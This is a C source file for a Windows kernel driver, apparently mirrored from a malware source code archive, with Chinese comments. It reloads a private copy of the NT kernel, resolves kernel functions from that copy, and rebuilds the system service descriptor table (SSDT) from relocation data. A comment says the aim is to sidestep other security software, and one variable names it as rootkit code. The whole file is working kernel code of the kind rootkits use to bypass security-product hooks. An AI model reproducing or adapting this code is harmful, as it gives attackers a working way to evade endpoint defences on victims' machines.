mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
356 lines
14 KiB
C
356 lines
14 KiB
C
#include "Reload.h"
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#include "KernelReload.h"
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WCHAR* SystemKernelFilePath = NULL;
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ULONG_PTR SystemKernelModuleBase = 0;
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ULONG_PTR SystemKernelModuleSize = 0;
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ULONG_PTR ImageModuleBase;
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PVOID OriginalKiServiceTable;
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extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
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PSERVICE_DESCRIPTOR_TABLE OriginalServiceDescriptorTable;
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PSERVICE_DESCRIPTOR_TABLE Safe_ServiceDescriptorTable;
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/*
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输入FuncName 、 原来Ntos地址 、自己重载 Ntos地址
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//第一次都是通过 系统的原来偏移 + NewBase 获得函数地址
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//然后通过自己的RMmGetSystemRoutineAddress获得 偏移+NewBase 获得函数地址
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还不能找到则遍历导出表
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*/
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ULONG ReLoadNtosCALL(WCHAR *lpwzFuncTion,ULONG ulOldNtosBase,ULONG ulReloadNtosBase)
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{
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UNICODE_STRING UnicodeFunctionName;
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ULONG ulOldFunctionAddress;
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PUCHAR ulReloadFunctionAddress = NULL;
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int index=0;
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PIMAGE_DOS_HEADER pDosHeader;
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PIMAGE_NT_HEADERS NtDllHeader;
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IMAGE_OPTIONAL_HEADER opthdr;
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DWORD* arrayOfFunctionAddresses;
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DWORD* arrayOfFunctionNames;
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WORD* arrayOfFunctionOrdinals;
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DWORD functionOrdinal;
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DWORD Base, x, functionAddress,position;
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char* functionName;
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IMAGE_EXPORT_DIRECTORY *pExportTable;
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ULONG ulNtDllModuleBase;
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UNICODE_STRING UnicodeFunction;
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UNICODE_STRING UnicodeExportTableFunction;
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ANSI_STRING ExportTableFunction;
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//第一次都是通过 系统的原来偏移 + NewBase 获得函数地址
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//然后通过自己的RMmGetSystemRoutineAddress获得 偏移+NewBase 获得函数地址
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__try
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{
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if (RRtlInitUnicodeString &&
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RRtlCompareUnicodeString &&
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RMmGetSystemRoutineAddress &&
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RMmIsAddressValid)
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{
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RRtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion);
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ulOldFunctionAddress = (DWORD)RMmGetSystemRoutineAddress(&UnicodeFunctionName);
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ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase); //获得重载的FuncAddr
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if (RMmIsAddressValid(ulReloadFunctionAddress)) //如果无效就从 导出表 获取？ 应该不会无效
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{
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return (ULONG)ulReloadFunctionAddress;
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}
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//从导出表里获取
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ulNtDllModuleBase = ulReloadNtosBase;
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pDosHeader = (PIMAGE_DOS_HEADER)ulReloadNtosBase;
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if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
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{
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KdPrint(("failed to find NtHeader\r\n"));
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return 0;
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}
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NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);
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if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)
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{
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KdPrint(("failed to find NtHeader\r\n"));
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return 0;
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}
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opthdr = NtDllHeader->OptionalHeader;
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pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulNtDllModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //得到导出表
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arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulNtDllModuleBase + pExportTable->AddressOfFunctions); //地址表
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arrayOfFunctionNames = (DWORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNames); //函数名表
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arrayOfFunctionOrdinals = (WORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNameOrdinals);
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Base = pExportTable->Base;
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for(x = 0; x < pExportTable->NumberOfFunctions; x++) //在整个导出表里扫描
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{
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functionName = (char*)( (BYTE*)ulNtDllModuleBase + arrayOfFunctionNames[x]);
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functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1;
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functionAddress = (DWORD)((BYTE*)ulNtDllModuleBase + arrayOfFunctionAddresses[functionOrdinal]);
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RtlInitAnsiString(&ExportTableFunction,functionName);
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RtlAnsiStringToUnicodeString(&UnicodeExportTableFunction,&ExportTableFunction,TRUE);
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RRtlInitUnicodeString(&UnicodeFunction,lpwzFuncTion);
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if (RRtlCompareUnicodeString(&UnicodeExportTableFunction,&UnicodeFunction,TRUE) == 0)
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{
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RtlFreeUnicodeString(&UnicodeExportTableFunction);
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return functionAddress;
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}
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RtlFreeUnicodeString(&UnicodeExportTableFunction);
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}
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return 0;
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}
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RtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion);
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ulOldFunctionAddress = (DWORD)MmGetSystemRoutineAddress(&UnicodeFunctionName);
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ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase);
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//KdPrint(("%ws:%08x:%08x",lpwzFuncTion,ulOldFunctionAddress,ulReloadFunctionAddress));
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if (MmIsAddressValid(ulReloadFunctionAddress))
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{
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return (ULONG)ulReloadFunctionAddress;
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}
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//
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}__except(EXCEPTION_EXECUTE_HANDLER){
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KdPrint(("EXCEPTION_EXECUTE_HANDLER"));
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}
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return 0;
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}
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/*重载Ntos*/
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NTSTATUS ReLoadNtos(PDRIVER_OBJECT DriverObject,DWORD RetAddress)
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{
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NTSTATUS status = STATUS_UNSUCCESSFUL;
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ULONG ulKeAddSystemServiceTable;
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PULONG p;
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if (!GetSystemKernelModuleInfo(
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&SystemKernelFilePath,
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&SystemKernelModuleBase,
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&SystemKernelModuleSize
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))
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{
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KdPrint(("Get System Kernel Module failed"));
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return status;
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}
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if (InitSafeOperationModule(
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DriverObject,
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SystemKernelFilePath,
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SystemKernelModuleBase
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))
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{
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KdPrint(("Init Ntos module success\r\n"));
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RRtlInitUnicodeString = NULL;
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RMmGetSystemRoutineAddress = NULL;
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RMmIsAddressValid = NULL;
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RRtlCompareUnicodeString = NULL;
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RPsGetCurrentProcess = NULL;
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status = STATUS_UNSUCCESSFUL;
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//第一次都是通过 系统的原来偏移 + NewBase 获得函数地址
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//然后通过自己的RMmGetSystemRoutineAddress获得 偏移+NewBase 获得函数地址
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RRtlInitUnicodeString = (ReloadRtlInitUnicodeString)ReLoadNtosCALL(L"RtlInitUnicodeString",SystemKernelModuleBase,ImageModuleBase);
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RRtlCompareUnicodeString = (ReloadRtlCompareUnicodeString)ReLoadNtosCALL(L"RtlCompareUnicodeString",SystemKernelModuleBase,ImageModuleBase);
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RMmGetSystemRoutineAddress = (ReloadMmGetSystemRoutineAddress)ReLoadNtosCALL(L"MmGetSystemRoutineAddress",SystemKernelModuleBase,ImageModuleBase);
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RMmIsAddressValid = (ReloadMmIsAddressValid)ReLoadNtosCALL(L"MmIsAddressValid",SystemKernelModuleBase,ImageModuleBase);
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RPsGetCurrentProcess = (ReloadPsGetCurrentProcess)ReLoadNtosCALL(L"PsGetCurrentProcess",SystemKernelModuleBase,ImageModuleBase);
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if (!RRtlInitUnicodeString ||
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!RRtlCompareUnicodeString ||
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!RMmGetSystemRoutineAddress ||
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!RMmIsAddressValid ||
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!RPsGetCurrentProcess)
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{
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KdPrint(("Init NtosCALL failed"));
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return status;
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}
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}
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return status;
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}
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BOOLEAN InitSafeOperationModule(PDRIVER_OBJECT pDriverObject,WCHAR *SystemModulePath,ULONG KernelModuleBase)
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{
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UNICODE_STRING FileName;
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HANDLE hSection;
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PDWORD FixdOriginalKiServiceTable;
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PDWORD CsRootkitOriginalKiServiceTable;
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ULONG i = 0;
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//自己peload 一个ntos*，这样就解决了跟其他安全软件的冲突啦~
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if (!PeLoad(SystemModulePath,(BYTE**)&ImageModuleBase,pDriverObject,KernelModuleBase))
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{
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return FALSE;
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}
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OriginalKiServiceTable = ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD));
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if (!OriginalKiServiceTable)
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{
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return FALSE;
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}
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//获得SSDT基址，通过重定位表比较得到
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if(!GetOriginalKiServiceTable((BYTE*)ImageModuleBase,KernelModuleBase,(DWORD*)&OriginalKiServiceTable))
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{
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ExFreePool(OriginalKiServiceTable);
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return FALSE;
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}
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//修复SSDT函数地址 都是自己Reload的函数地址 干净的
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FixOriginalKiServiceTable((PDWORD)OriginalKiServiceTable,(DWORD)ImageModuleBase,KernelModuleBase);
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OriginalServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);
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if (OriginalServiceDescriptorTable == NULL)
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{
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ExFreePool(OriginalKiServiceTable);
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return FALSE;
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}
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RtlZeroMemory(OriginalServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);
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//修复SERVICE_DESCRIPTOR_TABLE 结构
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OriginalServiceDescriptorTable->ServiceTable = (PDWORD)OriginalKiServiceTable;
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OriginalServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable;
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OriginalServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize;
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OriginalServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable;
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CsRootkitOriginalKiServiceTable = (PDWORD)ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD));
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if (CsRootkitOriginalKiServiceTable==NULL)
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{
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ExFreePool(OriginalServiceDescriptorTable);
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ExFreePool(OriginalKiServiceTable);
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return FALSE;
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}
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RtlZeroMemory(CsRootkitOriginalKiServiceTable,KeServiceDescriptorTable->TableSize*sizeof(DWORD));
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Safe_ServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);
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if (Safe_ServiceDescriptorTable == NULL)
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{
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ExFreePool(OriginalServiceDescriptorTable);
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ExFreePool(CsRootkitOriginalKiServiceTable);
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ExFreePool(OriginalKiServiceTable);
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return FALSE;
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}
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//这是一个干净的原始表，每个表里所对应的SSDT函数的地址都是原始函数
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RtlZeroMemory(Safe_ServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);
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//填充原始函数地址
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for (i = 0; i < KeServiceDescriptorTable->TableSize; i++)
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{
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CsRootkitOriginalKiServiceTable[i] = OriginalServiceDescriptorTable->ServiceTable[i];
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}
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Safe_ServiceDescriptorTable->ServiceTable = (PDWORD)CsRootkitOriginalKiServiceTable;
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Safe_ServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable;
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Safe_ServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize;
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Safe_ServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable;
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//释放就会bsod
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//ExFreePool(OriginalKiServiceTable);
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return TRUE;
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}
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VOID FixOriginalKiServiceTable(PDWORD OriginalKiServiceTable,DWORD ModuleBase,DWORD ExistImageBase)
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{
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DWORD FuctionCount;
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DWORD Index;
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FuctionCount=KeServiceDescriptorTable->TableSize; //函数个数
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KdPrint(("ssdt funcion count:%X---KiServiceTable:%X\n",FuctionCount,KeServiceDescriptorTable->ServiceTable));
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for (Index=0;Index<FuctionCount;Index++)
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{
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OriginalKiServiceTable[Index]=OriginalKiServiceTable[Index]-ExistImageBase+ModuleBase; //修复SSDT函数地址
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}
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}
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//通过KeServiceDescriptorTable的RVA与重定位表项解析的地址RVA比较，一致则取出其中的SSDT表地址
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BOOLEAN GetOriginalKiServiceTable(BYTE *NewImageBase,DWORD ExistImageBase,DWORD *NewKiServiceTable)
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{
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PIMAGE_DOS_HEADER ImageDosHeader;
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PIMAGE_NT_HEADERS ImageNtHeaders;
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DWORD KeServiceDescriptorTableRva;
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PIMAGE_BASE_RELOCATION ImageBaseReloc=NULL;
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DWORD RelocSize;
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int ItemCount,Index;
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int Type;
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PDWORD RelocAddress;
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DWORD RvaData;
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DWORD count=0;
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WORD *TypeOffset;
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ImageDosHeader=(PIMAGE_DOS_HEADER)NewImageBase;
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if (ImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
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{
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return FALSE;
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}
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ImageNtHeaders=(PIMAGE_NT_HEADERS)(NewImageBase+ImageDosHeader->e_lfanew);
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if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)
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{
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return FALSE;
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}
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KeServiceDescriptorTableRva=(DWORD)MiFindExportedRoutine(NewImageBase,TRUE,"KeServiceDescriptorTable",0);
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if (KeServiceDescriptorTableRva==0)
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{
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return FALSE;
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}
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KeServiceDescriptorTableRva=KeServiceDescriptorTableRva-(DWORD)NewImageBase;
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ImageBaseReloc=RtlImageDirectoryEntryToData(NewImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_BASERELOC,&RelocSize);
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if (ImageBaseReloc==NULL)
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{
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return FALSE;
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}
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while (ImageBaseReloc->SizeOfBlock)
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{
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count++;
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ItemCount=(ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))/2;
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TypeOffset=(WORD*)((DWORD)ImageBaseReloc+sizeof(IMAGE_BASE_RELOCATION));
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for (Index=0;Index<ItemCount;Index++)
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{
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Type=TypeOffset[Index]>>12; //高4位是类型 低12位位页内偏移 4k
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if (Type==3)
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{
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//Base + Virtual 定位到页 + 低12位 = RelocAddress 需要修复的地址
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RelocAddress=(PDWORD)((DWORD)(TypeOffset[Index]&0x0fff)+ImageBaseReloc->VirtualAddress+(DWORD)NewImageBase);
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RvaData=*RelocAddress-ExistImageBase;
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if (RvaData==KeServiceDescriptorTableRva) //重定位表中的rva 是 KeServiceDescriptorTable 表项的
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{
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if(*(USHORT*)((DWORD)RelocAddress-2)==0x05c7)
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{
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/*
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1: kd> dd 0x89651c12 RelocAddress - 2
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89651c12 79c005c7 bd9c83f8
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1: kd> dd KeServiceDescriptorTable
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83f879c0 83e9bd9c 00000000 00000191 83e9c3e4
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83f879d0 00000000 00000000 00000000 00000000
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1: kd> dd 0x89651c14 RelocAddress
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89651c14 83f879c0 83e9bd9c 79c41589 c8a383f8
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89651c24 c783f879 f879cc05 e9c3e483 d8158983
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*/
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//RelocAddress 里面存放着 KeServiceDesriptorTable地址
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//RelocAddress + 4 存放着 KeServiceDesriptorTable第一成员也就是SSDT基址
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*NewKiServiceTable=*(DWORD*)((DWORD)RelocAddress+4)-ExistImageBase+(DWORD)NewImageBase;
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return TRUE;
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}
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}
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}
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}
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ImageBaseReloc=(PIMAGE_BASE_RELOCATION)((DWORD)ImageBaseReloc+ImageBaseReloc->SizeOfBlock);
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}
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return FALSE;
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}
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